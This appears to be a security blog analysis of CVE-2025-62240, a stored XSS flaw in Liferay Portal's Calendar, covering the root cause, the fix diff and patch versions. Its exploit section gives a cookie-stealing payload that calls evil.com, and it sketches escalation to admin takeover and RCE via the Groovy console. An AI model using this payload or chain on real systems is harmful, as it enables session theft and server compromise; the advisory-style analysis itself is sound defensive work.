CVE-2025-62240

The Calendar That Cancelled Security: Deep Dive into CVE-2025-62240

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 30, 2026·6 min read·2 visits

Executive Summary (TL;DR)

Stored XSS in Liferay Portal Calendar (CVE-2025-62240) allows attackers to inject malicious scripts into their profile names. These scripts execute when other users view calendar events, potentially leading to session hijacking and account takeover.

A critical Stored Cross-Site Scripting (XSS) vulnerability in Liferay Portal's Calendar module turns mundane meeting invites into weaponized payloads. By neglecting to sanitize user names within the calendar resource JSON serialization, the application allows attackers to execute arbitrary JavaScript in the browser of any user—including administrators—who views the schedule.

The Hook: The Call is Coming from Inside the House

Enterprise portals are the digital equivalent of a sprawling, bureaucratic office building. You have document libraries, message boards, and, of course, the humble Calendar. It's the boring utility that everyone ignores until it breaks. But for a hacker, 'boring' usually translates to 'audit-neglected,' and that is exactly where CVE-2025-62240 lives.

Here is the scenario: You are a standard user on a Liferay Portal instance. You don't have administrative rights. You can't upload plugins. But you do have a name. And the system trusts that name implicitly. This vulnerability is a classic case of 'Internal Trust Fallacy'—the developers assumed that because data (like a user's first and last name) came from the internal database, it was safe to render without protection.

Spoilers: It wasn't. This isn't some complex memory corruption or a heap overflow. This is a logic error in how the application serializes objects to JSON. It is the digital equivalent of accepting a package from a known sender but forgetting that the sender might have packed a pipe bomb inside. When the Calendar module fetches resources (attendees, rooms, equipment), it inadvertently drags in your malicious payload and serves it up on a silver platter to anyone checking their schedule.

The Flaw: Trusting the Untrustable

Let's talk about the root cause. The vulnerability resides in com.liferay.calendar.web, specifically in how it constructs the JSON object for calendar bookings. In modern web apps, the server often sends raw JSON to the frontend, and the frontend JavaScript framework handles the rendering. If the frontend uses dangerous sinks (like innerHTML in vanilla JS or v-html in Vue), you get XSS.

However, in this specific case, the failure happened during the JSON construction phase on the backend. The method CalendarUtil.toCalendarBookingJSONObject is responsible for taking a database entity—a CalendarBooking—and converting it into a format the UI understands. Part of that data includes the 'Calendar Resource,' which is Liferay-speak for the entity associated with the calendar (often a User).

The code grabs the name of the resource (e.g., 'John Doe') and stuffs it directly into the JSON response. The fatal mistake? It assumed calendarResource.getName() returned safe text. But getName() returns whatever is in the database. If I change my name to <script>alert(1)</script>, the database stores it happily, and this function retrieves it happily. The chain of custody for sanitization was broken.

The Code: The Smoking Gun

Let's look at the actual Java code. It's rare we get a diff this clean that perfectly illustrates the 'before' and 'after' of a security mindset. The vulnerable code was located in modules/apps/calendar/calendar-web/src/main/java/com/liferay/calendar/web/internal/util/CalendarUtil.java.

Here is the vulnerable implementation:

// The Vulnerable Code
return calendarResource.getName(themeDisplay.getLocale());

See that? Raw input, raw output. The developer simply asked for the name and returned it. Now, look at the fix provided in commit 961b569fbd9207c728a93d962e989dbc062f6fb6. The engineers at Liferay wrapped the call in a sanitizer:

// The Fixed Code
return HtmlUtil.escape(
    calendarResource.getName(themeDisplay.getLocale()));

The addition of HtmlUtil.escape() is the magic shield. It converts characters like < into &lt; and > into &gt;. This ensures that when the browser parses the JSON response, it treats the payload as a string literal rather than executable markup. It is a one-line fix for a vulnerability that could compromise the entire portal.

The Exploit: Weaponizing Your Middle Name

Now for the fun part: How do we break it? This is a Stored XSS vector, which is the most dangerous kind because the attack is persistent. It doesn't require phishing a user with a weird link; the trap is laid in the application itself.

Step 1: The Setup Log in as a low-privileged user. Navigate to your Account Settings. Liferay allows users to update their First, Middle, and Last names.

Step 2: The Injection In the 'First Name' or 'Middle Name' field, inject a standard XSS payload. Something simple to test, or something nasty for red teaming:

<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

Step 3: The Trigger Create a Calendar Event. Invite others, or simply let the event exist on a shared calendar. The system links this event to your 'Calendar Resource' (your user profile).

Step 4: The Execution Wait. When an Administrator views the calendar to check the week's schedule, the backend toCalendarBookingJSONObject method runs. It pulls your malicious name from the DB, fails to escape it, and sends it to the Admin's browser. The Admin's browser sees the <img> tag, tries to load x, fails, fires onerror, and sends the Admin's session cookies to your server.

The Impact: Why Should We Panic?

You might look at the CVSS score of 5.4 (Medium) and think, 'Eh, I'll patch this next month.' That would be a mistake. CVSS scores often fail to capture context. In a complex portal environment like Liferay, an XSS vulnerability isn't just about defacing a page.

If you can execute JavaScript in the context of a Liferay Administrator, you own the instance. An attacker can use XSS to:

  1. Hijack the Session: Steal the JSESSIONID or OAuth tokens.
  2. Forge Requests (CSRF): Force the admin browser to create a new Administrator user account for the attacker.
  3. RCE via Groovy: Liferay has a Script Console that allows Admins to run Java/Groovy code. An XSS payload can automate the process of posting a Groovy script to that console, giving the attacker full Remote Code Execution on the server.

So, while the CVE says 'Medium,' the reality is 'Critical' if you value the integrity of your server. This is a direct path from 'Low Privileged User' to 'System Root'.

The Fix: Stopping the Bleeding

Fortunately, the fix is straightforward. You need to sanitize the output before it hits the wire. If you are running Liferay Portal or DXP, you have two primary options:

  1. Patching: Apply the relevant update. For Liferay Portal, you need version 7.4.3.112 or higher. For DXP customers, apply the latest Service Pack (e.g., Update 93 for 7.4).
  2. Module Upgrade: If you can't upgrade the whole portal, you can often upgrade specific OSGi modules. Look for com.liferay.calendar.web and ensure it is version 5.0.88 or greater.

> [!NOTE] > Since this is a Stored XSS, simply patching the code might not clean up the database. If an attacker has already injected a payload, the patch prevents it from rendering, but the bad data remains. It is good practice to audit your User_ tables for suspicious characters (<, >, script, javascript:) after patching.

Fix Analysis (1)

Technical Appendix

CVSS Score
5.4/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
EPSS Probability
0.05%
Top 85% most exploited

Affected Systems

Liferay Portal 7.4.3.35 - 7.4.3.111Liferay DXP 2023.Q4.0 - 2023.Q4.5Liferay DXP 2023.Q3.1 - 2023.Q3.7Liferay DXP 7.4 Update 35 - 92Liferay DXP 7.3 Update 25 - 36

Affected Versions Detail

Product
Affected Versions
Fixed Version
Liferay Portal
Liferay
7.4.3.35 - 7.4.3.1117.4.3.112
Liferay DXP
Liferay
7.4 Update 35 - 92Update 93
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS v3.15.4 (Medium)
CVSS v4.04.8 (Medium)
Privileges RequiredLow (User)
ImpactSession Hijacking / Potential RCE
CWE-79
Cross-site Scripting (XSS)

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Vulnerability Timeline

Fix committed to repository
2024-01-24
CVE Published / GHSA Advisory released
2025-10-09
NVD analysis updated
2025-12-12

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.